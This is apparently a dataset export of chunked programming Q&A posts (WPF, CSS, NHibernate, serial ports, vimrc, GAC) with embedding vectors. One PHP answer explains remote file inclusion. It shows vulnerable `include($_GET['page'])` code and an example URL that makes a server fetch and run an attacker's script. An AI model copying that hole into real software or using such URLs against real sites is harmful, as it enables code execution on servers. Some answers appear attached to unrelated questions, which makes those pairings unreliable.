text stringlengths 0 30.5k | title stringclasses 1
value | embeddings listlengths 768 768 |
|---|---|---|
}
else if (!string.IsNullOrEmpty(childName))
{
var frameworkElement = child as FrameworkElement;
// If the child's name is set for search
if (frameworkElement != null && frameworkElement.Name == childName)
{
// if the child's name is of the request name
foundChild = (T)ch... | [
-0.16250081360340118,
-0.030936893075704575,
0.368235319852829,
-0.2202244997024536,
0.5630081295967102,
0.2936866581439972,
0.49925071001052856,
-0.44738274812698364,
-0.017148654907941818,
-0.5885570645332336,
-0.3240547478199005,
0.07835982739925385,
-0.221446692943573,
0.44164866209030... | |
}
else
{
// child element found.
foundChild = (T)child;
break;
}
}
return foundChild;
}
```
Call it like this:
```
TextBox foundTextBox =
UIHelper.FindChild<TextBox>(Application.Current.MainWindow, "myTextBoxName");
```
Note `Application.Current.MainWindow` can be any parent... | [
-0.2849709093570709,
-0.1387985199689865,
0.3547844886779785,
-0.2887563109397888,
0.12971848249435425,
-0.024691935628652573,
0.10707283765077591,
0.3159521222114563,
0.15182748436927795,
-0.8803730607032776,
-0.3135201930999756,
0.17712925374507904,
-0.30654850602149963,
0.52765220403671... | |
I would like to build a tree like navigation interface in pure markup (that is, without needing javascript/jquery etc.).
Unordered lists `<ul>` seem like the best solution, and I have found this [tutorial on simplebits.com](http://www.simplebits.com/notebook/2003/10/19/styling_nested_lists.html) is very close to the ... | [
0.021515125408768654,
-0.02075987681746483,
0.5487522482872009,
-0.1148092970252037,
-0.11826397478580475,
0.2576276957988739,
0.18408749997615814,
-0.35509374737739563,
-0.2177770435810089,
-0.6304952502250671,
-0.05381970480084419,
0.37050536274909973,
-0.3554477095603943,
-0.33723938465... | |
styling support this seamlessly.
If you need more clarification on this, please just let me know.
There are tutorials on this but there are two problems:
1. IE6 doesn't support :hover on tags other than anchors so you need a Javascript solution for that browser; and
2. It's actually really complicated to get it worki... | [
0.663813054561615,
-0.09136773645877838,
0.4281577169895172,
0.0996076911687851,
-0.18549507856369019,
0.15015046298503876,
-0.016670795157551765,
-0.22432780265808105,
0.24699315428733826,
-0.740748405456543,
0.16284175217151642,
0.9861405491828918,
-0.11085235327482224,
-0.20356254279613... | |
just be pulling your hair out and spending a lot of time to get it to work right.
To answer your question about depth: that rule you mentioned essentially is going to infinite depth. Remember a space in CSS is a descendant selector not a child selector. The reason for the repeated groups is so that the rule only appli... | [
0.40088385343551636,
-0.27420416474342346,
0.24275147914886475,
-0.0772663950920105,
0.12749166786670685,
0.3590928316116333,
0.3114939033985138,
-0.11878979206085205,
-0.3008272051811218,
-0.46375998854637146,
-0.2963629961013794,
0.07886357605457306,
0.08234967291355133,
0.00797965377569... | |
in the same way. | [
0.14721372723579407,
0.18373118340969086,
-0.013435273431241512,
0.11541791260242462,
-0.07111060619354248,
0.028189286589622498,
0.19438977539539337,
-0.0014813058078289032,
-0.010389819741249084,
-0.24175892770290375,
0.1158517524600029,
0.11645866185426712,
-0.22211043536663055,
0.18885... | |
I'm trying to POST data to an external url using HttpWebRequest, then i need to redirect the user to the external url where which i just POSTed my data, can this be achieved on the first place ?
Unless there is something that needs to be done on the server side you should probably do this from JS on the client side.
J... | [
0.5419722199440002,
-0.010568060912191868,
0.27497318387031555,
0.17208753526210785,
-0.33102288842201233,
-0.24050909280776978,
0.3586813807487488,
0.2011793702840805,
-0.05262714996933937,
-0.7357245087623596,
0.1737450212240219,
0.46503913402557373,
-0.048021797090768814,
0.313045412302... | |
Is there some kind of light-weight (non-Adobe) control I could use to view and print PDF documents on a web form?
I use [Foxit](http://www.foxitsoftware.com/pdf/rd_intro.php). Lightweight - loads faster than Adobe. | [
0.32532793283462524,
0.07863928377628326,
-0.09883096814155579,
0.15795956552028656,
-0.3395691514015198,
-0.09385712444782257,
-0.0554487369954586,
-0.4006383717060089,
0.0014442199608311057,
-0.2830471694469452,
0.22295570373535156,
0.36822739243507385,
-0.07294519245624542,
-0.498031407... | |
I am not a big fan of Full Text search with MSSQL(not sure if there is another) does anyone know of any other options to this?
**[Lucene.Net](http://incubator.apache.org/lucene.net/)** from Apache is worth a look.
> After your raw text data has been
> indexed, you can use Lucene.Net’s API
> to search this data. Inde... | [
0.3507480323314667,
-0.1757134199142456,
0.08943503350019455,
0.34161192178726196,
-0.11726769804954529,
-0.26388490200042725,
-0.006619569845497608,
0.29495769739151,
-0.12009824067354202,
-0.9657810926437378,
-0.16746588051319122,
0.5257330536842346,
0.27475929260253906,
-0.0531040877103... | |
I'm running Sql Server Management Studio 2008 on a decent machine. Even if it is the only thing open with no other connections to the database, anything that has to do with the Database Diagram or simple schema changes in a designer take up to 10 minutes to complete and SQL Management Studio is unresponsive during that... | [
-0.09316667914390564,
0.29053616523742676,
0.574541449546814,
-0.11581756174564362,
-0.20047838985919952,
-0.06137344613671303,
0.5674329400062561,
-0.12597543001174927,
-0.003980758134275675,
-0.6298162341117859,
0.11594339460134506,
0.8096002340316772,
-0.18647421896457672,
-0.2019143998... | |
Processor: Intel(R) Core(TM)2 Quad CPU Q6700 @ 2.66GHz (4 CPUs), ~2.7GHz
Memory: 6142MB RAM
```
Please tell me this isn't a WOW64 problem; if it is, I love MS, but step up your 64-bit support in development tools.
Is there anything I can do to get the performance anywhere near acceptable?
Edit:
I'v... | [
-0.0236067995429039,
0.26692843437194824,
0.4601430296897888,
0.08465851843357086,
0.018018152564764023,
0.033767517656087875,
0.33844754099845886,
0.008294444531202316,
-0.2799011468887329,
-0.7292898893356323,
-0.14786328375339508,
0.7523464560508728,
-0.16360576450824738,
0.196584969758... | |
there any place I can quickly see what the latest release version number is for tools like this?
Edit:
Every time I go to open a database diagram I get the message "This database does not have one or more of the support objects required to use database diagramming. Do you wish to create them?" I say yes every time. Is... | [
0.6360476016998291,
0.2960532009601593,
0.23102301359176636,
-0.03100695088505745,
0.14498987793922424,
-0.3089911937713623,
0.5375538468360901,
0.20654310286045074,
-0.3683014512062073,
-0.6556943655014038,
-0.03769702464342117,
0.4509022831916809,
-0.389067679643631,
0.5330448746681213,
... | |
network configuration problem. Never trust a developer (myself) to setup a haphazard domain at his office.
I had my DNS server on my computer pointed to my ISP's (default because the wireless router we're using provided by the ISP doesn't allow me to override the DNS server to my own) instead of my DNS server here, so... | [
0.04566088318824768,
-0.02330932207405567,
0.13689377903938293,
0.05014301463961601,
0.2600480318069458,
-0.35851752758026123,
0.43977680802345276,
0.4907584488391876,
-0.45797938108444214,
-0.9772685170173645,
0.12640894949436188,
0.32983919978141785,
-0.4201580882072449,
0.43527472019195... | |
to an actual sub-domain of mycompany.com instead of my DNS server's authority of COMPUTERNAME.corp.mycompany.com
I can't say why this was an issue for the designers in SQL Server but not anything else, but my only hypothesis is that when I established a connection to my own computer locally using the computer name ins... | [
0.005319732706993818,
-0.1198769360780716,
0.2543621361255646,
0.005138325970619917,
-0.13269445300102234,
-0.08837371319532394,
0.17177818715572357,
0.6510254144668579,
-0.4661465287208557,
-0.5528637170791626,
0.21064887940883636,
0.16831520199775696,
-0.17881709337234497,
0.831763386726... | |
server's IP made it all work very quickly. | [
-0.002757779322564602,
0.09344470500946045,
0.1849844753742218,
0.443503737449646,
-0.12313777953386307,
-0.05420073866844177,
0.2158597707748413,
0.17702801525592804,
-0.20356036722660065,
-0.48909521102905273,
0.28982505202293396,
0.26943135261535645,
-0.16887184977531433,
-0.00998640712... | |
I have the following FNH mapping fragment:
```
HasManyToMany((c) => c.Plaintiffs)
.LazyLoad()
.WithTableName("invoicePlantiff")
.WithChildKeyColumn("PersonReferenceID")
.WithParentKeyColumn("invoiceID")
.FetchType.Join();
```
Which produces the following HBM:
```
<bag name="Plaintiffs" access=... | [
-0.09832727909088135,
0.030363906174898148,
0.4556872248649597,
-0.02156362123787403,
0.4859851002693176,
-0.04109600931406021,
0.14671123027801514,
-0.5208627581596375,
-0.2000173032283783,
-0.5835755467414856,
-0.12689316272735596,
0.4459834098815918,
-0.25181201100349426,
0.235935896635... | |
ANY way to accomplish this with FNH.
There is the `.NotFound.Ignore()` on the `References()` call, but not on the `HasManyToMany` Call.
Can someone tell me what I am missing? Even if it is a hack to 'inject' the attribute after it is rendered / before configuring NH is fine, i just need it to work.
Thanks in advanc... | [
0.04965301603078842,
0.19824610650539398,
0.5482776165008545,
0.20120607316493988,
0.016908427700400352,
-0.24760249257087708,
0.437015175819397,
0.19167375564575195,
-0.2740827202796936,
-0.770317018032074,
0.04893637076020241,
0.8890790343284607,
-0.09642606228590012,
0.04927639663219452... | |
Beginning with a letter I know how to do:
```
WHERE mov_title REGEXP CONCAT('^(the )?', '$letter')
```
And this method will work if I substitute $letter with any number, so if its set to 1, it will find all records that begin with 1, but I need it to work for any number 0-9. How could I modify the query?
```
WHERE m... | [
0.015524663031101227,
0.40402457118034363,
0.6507860422134399,
-0.08220025897026062,
0.2185572236776352,
0.028785686939954758,
0.3571300804615021,
-0.34196823835372925,
-0.20000743865966797,
-0.6621295213699341,
-0.31060734391212463,
0.5296270847320557,
-0.18283039331436157,
0.269321918487... | |
I'm writing some code that will need to speak to a web service over HTTP(s). In the past I've used the curl library. Recently, I noticed that I can simply use fopen() to access a remote URL and it seems far simpler.
Curl seems to be much more configurable, having a plethora of options. Beyond that configurability, doe... | [
0.3040590286254883,
0.1728471964597702,
0.5322001576423645,
-0.1102110892534256,
-0.3202710747718811,
-0.29985469579696655,
0.47777259349823,
-0.060684289783239365,
-0.07513625919818878,
-0.8092092871665955,
-0.11618136614561081,
0.5686658024787903,
-0.3485085964202881,
0.22738613188266754... | |
code from remote sites. A naive coder could easily be caught out with code like:
```
<?php
$page = $_GET['page'];
include($page);
?>
```
at which point an attacker just has to ask for `http://example.com/script.php?page=http://example.net/my_exploit_script` to execute their own code on the system and introdu... | [
0.3265792727470398,
0.13532859086990356,
0.24616201221942902,
-0.14359459280967712,
-0.0614515095949173,
-0.3876298666000366,
0.5528945326805115,
-0.03635798394680023,
-0.11149153113365173,
-0.6593766212463379,
-0.4646591246128082,
0.471061110496521,
-0.5168282389640808,
0.3605054020881653... | |
I was wondering if anyone can compare/contrast the differences between frontend, backend, and middleware ("middle-end"?) succinctly.
Are there cases where they overlap?
Are there cases where they MUST overlap, and frontend/backend cannot be separated?
In terms of bottlenecks, which end is associated with which type of... | [
0.1112687736749649,
-0.06003565713763237,
0.3825846016407013,
0.3315662741661072,
-0.2836819291114807,
-0.0898745134472847,
-0.1629018634557724,
0.06348948925733566,
0.04133336618542671,
-0.7686232924461365,
-0.11064977198839188,
0.22682629525661469,
-0.00985591858625412,
-0.03121216408908... | |
Java and C# are common languages for writing this part that could be viewed as the glue between the UI and the data and can be webservices or WCF components or other SOA components possibly.
Back-end tier -> Databases and other data stores are generally at this level. Oracle, MS-SQL, MySQL, SAP, and various off-the-sh... | [
0.28273090720176697,
0.03455615043640137,
0.17114634811878204,
0.2636376619338989,
-0.17855596542358398,
-0.09490535408258438,
-0.20474427938461304,
0.03409167006611824,
-0.2831234335899353,
-0.8410584330558777,
-0.42233970761299133,
0.3175819218158722,
-0.15453790128231049,
-0.18084920942... | |
Javascript while the code behind may contain database commands making the code behind contain both middle and back-end tiers. Alternatively, one could use VBScript to act as all the layers using ADO objects and merging all three tiers into one.
Similarly, taking middleware and either front or back-end can be combined ... | [
0.22389471530914307,
0.01920093409717083,
-0.09828048944473267,
0.17227023839950562,
-0.20871129631996155,
-0.13304054737091064,
0.2509755492210388,
-0.3556337058544159,
-0.09152062982320786,
-0.5837870240211487,
-0.2801768183708191,
0.31564033031463623,
-0.3036839962005615,
0.048530992120... | |
but the front and back ends have bandwidth to handle more traffic. Alternatively, there may be some server that is part of a system that isn't quite the UI part or the raw data that can be a bottleneck using something like Biztalk or MSMQ.
3) Front-end bottlenecks -> This could client or server-side issues. For exampl... | [
0.24334383010864258,
0.003474703524261713,
0.30981549620628357,
0.44122183322906494,
-0.0267298873513937,
-0.4203007221221924,
0.12908504903316498,
-0.015092743560671806,
-0.2839421033859253,
-0.5818890333175659,
-0.10836603492498398,
0.5914368629455566,
-0.15743117034435272,
0.12312660366... | |
requests like what Amazon.com or other high-traffic websites may get at times.
Some of this is subject to interpretation, so it isn't perfect by any means and YMMV.
---
EDIT: Something to consider is that some systems can have multiple front-ends or back-ends. For example, a content management system will likely hav... | [
0.16704784333705902,
-0.15767577290534973,
0.3842604458332062,
0.6591383218765259,
-0.177816703915596,
-0.220985546708107,
0.18677622079849243,
0.13182444870471954,
-0.5411399006843567,
-0.5673814415931702,
-0.176343634724617,
0.20700842142105103,
-0.11750700324773788,
0.2894957363605499,
... | |
as a back-end since it is used by internal users rather than the general public viewing the site. Thus, there is something to be said for context here. | [
0.40581661462783813,
-0.046366430819034576,
0.10116855055093765,
-0.04963039606809616,
-0.12561991810798645,
-0.27774062752723694,
0.18539613485336304,
0.3168153464794159,
-0.21962930262088776,
-0.1922701895236969,
-0.5573127865791321,
0.20177753269672394,
0.028907410800457,
0.235066354274... | |
I carry a vimrc to all the machines that I work on and it naturally contains options that are not present in old vi.
If I accidentally start a vi session on a machine where vi is not an alias to vim and/or vim is not installed, vi reads vimrc and throws a bunch of annoying errors to let me know that option such and su... | [
0.28831082582473755,
-0.02912486158311367,
0.4566693902015686,
0.18792887032032013,
0.060416270047426224,
-0.16581076383590698,
0.3547994792461395,
-0.07037246227264404,
-0.21041719615459442,
-0.629305899143219,
0.0655236467719078,
0.6231628656387329,
-0.2940623164176941,
0.508879959583282... | |
vimrc that will exit the script early if the file is read by vi?
If vi is not actually a link to vim, it should not read **.vimrc**, it should read **.exrc**. The fact that it is reading .vimrc indicates it is actually an earlier version of vim. If that is the case, you can use the vim "if" construct to bracket newer f... | [
0.16972914338111877,
-0.19921384751796722,
0.5566499829292297,
0.11389458924531937,
0.043106552213430405,
-0.4306735098361969,
0.2683146893978119,
-0.20316845178604126,
0.0291544571518898,
-0.7635083198547363,
-0.15570129454135895,
0.5784846544265747,
-0.15957559645175934,
0.56394988298416... | |
I am reading data from serial port. The data comes off the scale. I am now using `Readline()` and getting data dropped even after I removed `DiscardInBuffer()`.
What is the proper way to read the data from the serial port? There are so few examples online that I feel it's like some holy grail that no one has figured ... | [
0.5967455506324768,
0.30564752221107483,
0.43608173727989197,
-0.28212615847587585,
0.038067638874053955,
-0.05068926140666008,
0.32680457830429077,
-0.35780078172683716,
-0.3425333499908447,
-0.6511116623878479,
0.05043058842420578,
0.5912967324256897,
-0.31360888481140137,
0.235635355114... | |
this._workerThread.IsBackground = true;
this._workerThread.Start();
} //end of WeighSample()
private void CaptureWeight()
{
globalCounter++;
string value = "";
while (!this._processingDone)
{
try | [
0.2723220884799957,
-0.21508660912513733,
0.35294821858406067,
-0.46063488721847534,
0.44984567165374756,
0.30328959226608276,
0.12060675770044327,
-0.5596340298652649,
-0.3816204071044922,
-0.21396321058273315,
0.01723085343837738,
0.598064661026001,
-0.38282066583633423,
0.08857713639736... | |
{
value = this._sp.ReadLine();
if (value != "")
{
if (value == "ES") | [
-0.10634825378656387,
-0.34718433022499084,
0.6622256636619568,
-0.28191548585891724,
0.45130157470703125,
-0.09504702687263489,
0.5175617933273315,
-0.5043480396270752,
-0.12990827858448029,
-0.33161893486976624,
-0.40700122714042664,
0.6909701228141785,
-0.14403285086154938,
0.0060915229... | |
{
_sp.DiscardInBuffer();
value = "";
} | [
-0.3155093193054199,
-0.10577257722616196,
0.3920574486255646,
-0.4396585524082184,
0.09187904000282288,
-0.13351498544216156,
0.4536193013191223,
-0.2968195378780365,
-0.3020373582839966,
-0.05836954712867737,
-0.363798052072525,
0.5198096632957458,
-0.3921128809452057,
0.2197416722774505... | |
else
{
this.Invoke(this.OnDataAcquiredEvent, new object[] { value });
}
} | [
-0.29453182220458984,
-0.169780433177948,
0.28463214635849,
-0.25112590193748474,
0.5156733989715576,
-0.1936284750699997,
0.2723162770271301,
-0.16536873579025269,
0.03063204698264599,
-0.42563489079475403,
-0.30560609698295593,
0.704574465751648,
-0.19161461293697357,
0.188746377825737,
... | |
}
catch (TimeoutException)
{
//catch it but do nothing
}
catch | [
0.09691023081541061,
-0.6301504969596863,
-0.07265858352184296,
-0.10499867796897888,
0.46052518486976624,
-0.24763990938663483,
0.2865271270275116,
-0.20776353776454926,
-0.1452643871307373,
-0.23225028812885284,
-0.12100689858198166,
0.35267364978790283,
-0.37257125973701477,
-0.07820114... | |
{
//reset the port here?
MessageBox.Show("some other than timeout exception thrown while reading serial port");
}
}
} //end of CaptureWeight()
```
One thing to note about my application is that I start the thread (weighSample) when the cursor jumps | [
0.3300917148590088,
0.006097333040088415,
0.4100703299045563,
-0.2929801940917969,
0.026932716369628906,
-0.23467688262462616,
0.1565755009651184,
-0.3804694712162018,
-0.5172868371009827,
-0.3600304424762726,
0.2787781059741974,
0.5423906445503235,
-0.2786400318145752,
0.10399233549833298... | |
onto the textbox. The reason to this is that the weight can also be typed in manually (part of the requirements). So I don't know in advance whether a user is going to press PRINT on the balance or type the weight. In either case after the data is acquired, I exit the worker thread. Also, note that I am not using seria... | [
0.48123666644096375,
-0.04028833284974098,
0.5723702311515808,
-0.07976453006267548,
0.18415340781211853,
-0.18326745927333832,
-0.08453439921140671,
0.0820886418223381,
-0.43046635389328003,
-0.5126219987869263,
0.07237294316291809,
0.4382174015045166,
-0.02764294669032097,
0.081538721919... | |
and then use a separate thread to scan the data and find line breaks yourself. | [
0.6663133502006531,
-0.358676016330719,
0.21580155193805695,
0.18075676262378693,
0.11418908089399338,
0.00303712603636086,
0.1768614649772644,
-0.1069091185927391,
-0.3648369610309601,
-0.44092100858688354,
-0.15942485630512238,
0.4052204489707947,
-0.09908436238765717,
0.2380707561969757... | |
if you were using Nhibernate for data access in an MVC app what would be the best cache provider e.g. Syscache,Syscache2,Memcache,HashTable.. to use?
Thanks for your opionions.
If you are asking about NHibernate's Cache Handling Methodology ,
(NHibernate don't store/retrieve cache data itself ,we need to configure ca... | [
-0.3578530550003052,
0.027692044153809547,
0.24927927553653717,
0.2122674584388733,
-0.4444057047367096,
0.015142705291509628,
0.04153360798954964,
-0.23134781420230865,
-0.16733606159687042,
-0.8419612050056458,
0.10155773162841797,
0.32071828842163086,
-0.3221960663795471,
0.356475800275... | |
is modified by Triggers
So, make sure to clear cache, when above cases exist.
---
Regarding Cache Providers,
Nhibernate support multiple cache providers, Syscache,Syscache2,Memcache,HashTable etc..
I use Syscache, and it works fine. Since i haven't worked on other cache providers, i can't compare them.
Old and Onl... | [
-0.083998903632164,
0.3816900849342346,
0.31279975175857544,
0.007077561691403389,
-0.07790715247392654,
-0.12362616509199142,
0.23368175327777863,
-0.3059658706188202,
-0.12439407408237457,
-0.7198278307914734,
-0.02213495597243309,
0.40951788425445557,
-0.21061007678508759,
0.18344141542... | |
After Xcode has finished building is there a way to make it copy the executable to specific directory
> ~/Sites/cgi-bin/
I have the target `Installation Directory` set to the correct folder, with `skip installation` **unchecked**, but no luck.
Is there something i'm missing?
Check the "Deployment Postprocessing" bui... | [
0.6276066899299622,
0.34124624729156494,
0.27008092403411865,
-0.1520666927099228,
0.0406256765127182,
-0.4520484209060669,
0.4187048077583313,
-0.06372570246458054,
0.14182545244693756,
-1.0051753520965576,
-0.30654796957969666,
0.674320638179779,
-0.3598506450653076,
-0.10537733882665634... | |
Following up on my previous question on the enduring properties of a book on algorithms, see [here](https://stackoverflow.com/questions/608779/what-are-the-enduring-properties-of-a-book-on-algorithms), now I would like to ask the community what language would you use to write the examples of such a reference book.
I ... | [
0.33162280917167664,
0.157362699508667,
0.1436511129140854,
0.21529839932918549,
-0.0730748102068901,
-0.06893753260374069,
0.22724571824073792,
0.16916199028491974,
-0.3407771587371826,
-0.6014296412467957,
0.06197415664792061,
0.3520493507385254,
-0.07332558184862137,
-0.0719026103615760... | |
tough question and that there would be several different answers. Notice that answers cover the whole range from Assembly/MMIX(!!) to Python and pseudo-code. The votes and the arguments compel me to choose Uri's sensible answer, with one caveat: my pseudo-code will be as close to C as I possibly can (without going into... | [
-0.11919047683477402,
0.24957937002182007,
0.08841346949338913,
0.290111780166626,
-0.10951699316501617,
0.2490554004907608,
-0.10222750902175903,
-0.2741128206253052,
0.10469458997249603,
-0.3532305955886841,
-0.16854387521743774,
0.5941459536552429,
0.08402186632156372,
-0.22994257509708... | |
of algorithms in general (much smarter people have done and will do much better than me on general algorithms). As such, one thing I consider would add value to such a book is the repository of the algorithms, which I will definitely put online in a companion website (maybe in a couple of languages, if I find the time)... | [
0.2170804738998413,
0.46381875872612,
0.0860210582613945,
0.2571589946746826,
0.14934290945529938,
-0.029418913647532463,
0.26562318205833435,
0.05290919542312622,
-0.39521417021751404,
-0.6315764784812927,
-0.23878927528858185,
0.4309275150299072,
-0.13024424016475677,
-0.5084792375564575... | |
undergraduate textbook than like a serious reference or learning books. In addition, most languages are fairly clunky when dealing with collections (esp. C++ and Java, even with generics). Between all the details, too much is lost. You're also immediately eliminating a lot of your potential audience.
The only advanta... | [
0.2952267527580261,
0.3221195936203003,
-0.03072931431233883,
0.37222662568092346,
0.3157449960708618,
-0.26585572957992554,
0.25381365418434143,
0.2868731617927551,
-0.0034917278680950403,
-0.5448371767997742,
-0.1376841962337494,
0.5148891806602478,
0.12030864506959915,
-0.08304534107446... | |
in trouble anyway.
You could add to every pseudocode listing a note about implementation details for specific languages (e.g., use a TreeSet in Java for best performance, etc.)
You could also maintain a separate website for the book (good idea anyway) where you'll have actual implementations in different languages. N... | [
0.1852358877658844,
-0.05385878309607506,
0.01446754951030016,
0.45255082845687866,
-0.018632935360074043,
-0.13381744921207428,
0.5722317695617676,
0.128644198179245,
-0.41044744849205017,
-0.33392444252967834,
0.02449573390185833,
0.5186432600021362,
-0.21324509382247925,
-0.403331428766... | |
I have a DLL I wish to register with my GAC. I enter the command:
```
gacutil /i c:\temp\msvcr100.dll
```
and I get the error:
```
Failure adding assembly to the cache: The module was expected to contain an as
sembly manifest.
```
All I have is the DLL. Is there a way to create / fake / bypass it?
For those int... | [
0.5634099841117859,
0.12876960635185242,
0.6096177697181702,
-0.18009960651397705,
-0.08368327468633652,
-0.14782552421092987,
0.2862526774406433,
-0.04911615699529648,
-0.08522917330265045,
-0.6285663843154907,
-0.15146763622760773,
0.7857485413551331,
-0.31103965640068054,
0.231335371732... | |
Why do you want to GAC it? | [
0.48403748869895935,
0.35424768924713135,
-0.1266518086194992,
0.060942865908145905,
-0.011029024608433247,
-0.12391284108161926,
-0.1649119108915329,
0.03746151179075241,
-0.2261606603860855,
-0.15079772472381592,
0.19993235170841217,
0.2678384482860565,
-0.2141621857881546,
0.10519073903... | |
I have a long document in LaTex, which contains paragraphs. The paragraphs contain sentences such that no subsequent sentence start at a new line.
**How can you make each subsequent sentence to start at a new line in my .tex file?**
*My attempt to the problem*
We need to put \n to the end of Sentence B where Sentenc... | [
0.1654842346906662,
0.09927729517221451,
0.39873388409614563,
-0.22464381158351898,
-0.05365201085805893,
-0.26685333251953125,
0.3492426574230194,
0.21020260453224182,
0.01899651065468788,
-0.5555006861686707,
-0.2789824306964874,
0.46101778745651245,
-0.2616916298866272,
0.08831328153610... | |
print }'
$ echo "abc. 123. xyz." | awk '{ gsub(/\. +/, ".\n"); print }'
abc.
123.
xyz.
``` | [
0.3091581463813782,
0.2823261022567749,
0.2637651264667511,
-0.4628860056400299,
-0.025992825627326965,
0.11251222342252731,
0.4915027320384979,
-0.3611963093280792,
-0.09277646988630295,
-0.2550989091396332,
-0.47986847162246704,
0.35441240668296814,
-0.9223947525024414,
0.083440132439136... | |
I have a form that inherits from 2 other forms. In my form, I want to change the label of a field that was defined in one of the parent forms. Does anyone know how this can be done?
I'm trying to do it in my `__init__`, but it throws an error saying that "'RegistrationFormTOS' object has no attribute 'email'". Does an... | [
0.40496164560317993,
0.050652213394641876,
0.5003989934921265,
0.09558138251304626,
-0.02011188492178917,
-0.4319542944431305,
0.31192055344581604,
-0.21013806760311127,
-0.052581921219825745,
-0.6692483425140381,
-0.08757112175226212,
0.5479769110679626,
-0.1533287763595581,
0.16983731091... | |
of ``RegistrationForm`` which adds a required checkbox
for agreeing to a site's Terms of Service.
"""
email2 = forms.EmailField(widget=forms.TextInput(attrs=dict(attrs_dict, maxlength=75)), label=_(u'verify email address'))
def __init__(self, *args, **kwargs):
self.email.label = "New Email Lab... | [
0.3175486922264099,
0.1589893251657486,
0.5979289412498474,
-0.18231169879436493,
0.01829219050705433,
-0.23077988624572754,
0.45019957423210144,
-0.5679900646209717,
0.0222312118858099,
-0.6730313897132874,
-0.2680525481700897,
0.4876753091812134,
-0.2954927682876587,
0.062058936804533005... | |
"""
if 'email' in self.cleaned_data and 'email2' in self.cleaned_data:
if self.cleaned_data['email'] != self.cleaned_data['email2']:
raise forms.ValidationError(_(u'You must type the same email each time'))
return self.cleaned_data
```
You should use:
```
def __init__(self,... | [
0.0500420480966568,
0.06010748818516731,
0.4424769878387451,
-0.057289958000183105,
0.07342654466629028,
0.06647763401269913,
0.40138497948646545,
-0.3893701136112213,
-0.2363547533750534,
-0.6928938031196594,
-0.30907317996025085,
0.6872871518135071,
-0.33498814702033997,
-0.0382275059819... | |
A String is a reference type even though it has most of the characteristics of a value type such as being immutable and having == overloaded to compare the text rather than making sure they reference the same object.
Why isn't string just a value type then?
Strings aren't value types since they can be huge, and need t... | [
0.012128372676670551,
0.06319776177406311,
0.3972083330154419,
0.1761125922203064,
-0.09635540097951889,
-0.41560786962509155,
0.037852197885513306,
-0.14360754191875458,
-0.40743687748908997,
-0.2183789312839508,
-0.1882556974887848,
0.19072838127613068,
-0.498414009809494,
0.295411884784... | |
to box each string, incurring a copy penalty, you couldn't intern strings, and memory usage would balloon, etc...
*(Edit: Added clarification about value type storage being an implementation detail, which leads to this situation where we have a type with value sematics not inheriting from System.ValueType. Thanks Ben.... | [
0.4027661383152008,
-0.4111477732658386,
0.060234908014535904,
0.16817902028560638,
-0.058937788009643555,
-0.09387342631816864,
0.5253448486328125,
-0.22451750934123993,
-0.29302796721458435,
-0.5267747640609741,
0.04588065296411514,
0.45911508798599243,
-0.33902281522750854,
0.0812277346... | |
I am attempting to create a new COM object in my DLL using the **ATL Simple Object Wizard** in Visual Studio 2005.
I enter the short name for the object, and all of the other fields are derived.
However, when I click *Next* in the wizard, the following error message comes up:
```
Object 'IXxxInterfaceName' already e... | [
0.12063587456941605,
0.3506852984428406,
0.45064404606819153,
-0.10690689831972122,
-0.2520279884338379,
-0.07504236698150635,
0.4725167751312256,
0.3123246133327484,
-0.08315955847501755,
-0.688409149646759,
0.06023360416293144,
0.4813791513442993,
-0.2601550817489624,
0.4812549650669098,... | |
track down.
In the end, I appended a 2 to the end of the interface name when creating it which allowed it to be added. Then I replaced all the occurrences of IXxxInterfaceName2 with IXxxInterfaceName. Everything worked after this.
If I ever track down the root cause of this problem, I'll update the answer. | [
0.07331299781799316,
0.12855075299739838,
0.36210542917251587,
0.39401888847351074,
-0.25175565481185913,
0.14735831320285797,
0.6694865822792053,
0.360348641872406,
-0.16858401894569397,
-0.7150812745094299,
0.2821138799190521,
0.6661779880523682,
-0.3808364272117615,
0.15326270461082458,... | |
I have a rather complex page. The ASPX page loads a user control which in turn loads a child User control.
Parent Control
```
protected override void OnInit(EventArgs e)
{
//Loads child control
}
```
In the child user control, I use custom control that inherits from `System.Web.UI.HtmlControls.HtmlSelect`
ASCX:
... | [
0.015784183517098427,
0.12331227213144302,
0.4689285159111023,
-0.11315391957759857,
0.19214817881584167,
0.168053537607193,
0.042140617966651917,
-0.1776917427778244,
-0.1814662665128708,
-0.9232769012451172,
-0.11249937862157822,
0.19779379665851593,
-0.2647002041339874,
0.46150740981101... | |
not a postback, but that results in the dropdown not getting populated.
If I bind it everytime, then i lose user's selection
**EDIT:
Can someone respond to my comment to Jonathan's answer? Thanks**
If all you want is a GUI, wxPython should do the trick.
If you're looking to add sound, controller input, and take it b... | [
0.2604408860206604,
-0.4345916509628296,
0.2491549402475357,
0.2773195207118988,
-0.30959200859069824,
-0.07192227989435196,
0.11313534528017044,
0.04830797016620636,
-0.21649250388145447,
-0.6417008638381958,
-0.20409412682056427,
0.5540344715118408,
-0.34094876050949097,
-0.1263335347175... | |
This is probably habitual programming redundancy. I have noticed DECLSPEC\_NOVTABLE ( \_\_declspec(novtable) ) on a bunch of interfaces defined in headers:
```
struct DECLSPEC_NOVTABLE IStuff : public IObject
{
virtual method1 () = 0;
virtual method2 () = 0;
};
```
The [MSDN article](http://msdn.microsoft.co... | [
-0.026982638984918594,
0.015786277130246162,
0.2758556306362152,
0.1287505179643631,
-0.18009266257286072,
-0.28249630331993103,
0.37131792306900024,
0.2591526508331299,
-0.35084882378578186,
-0.622106671333313,
-0.14151732623577118,
0.6202758550643921,
-0.36372092366218567,
0.570260941982... | |
says that if you do this, and then try and instantiate one of these things, you will get a run time access violation. But when I tried this with a few compilers (with or without the \_\_declspec extension), they don't compile (as I would have expected).
So I guess to summarize:
* Does the compiler strip out the vtabl... | [
0.10313394665718079,
0.011921172961592674,
0.09476116299629211,
0.17948487401008606,
0.10649482905864716,
-0.3869725167751312,
0.5291014909744263,
0.448186993598938,
-0.3307530879974365,
-0.504135251045227,
-0.16616575419902802,
0.604702353477478,
-0.21702644228935242,
0.3185025155544281,
... | |
it away since there is no longer a reference in the code to it.
Also by the way, I have made a habit of declaring an empty constructor as `protected`, and also using Microsoft's extension `abstract` keyword, to avoid that access violation at runtime. This way, the compiler catches the problem at compile time instead (... | [
-0.1381177008152008,
0.1831074059009552,
0.07476150989532471,
0.02379126287996769,
-0.016503486782312393,
-0.009075594134628773,
0.3818867802619934,
0.1529744416475296,
-0.03366923704743385,
-0.46516096591949463,
-0.04019085690379143,
0.5672906637191772,
-0.07293843477964401,
0.50615781545... | |
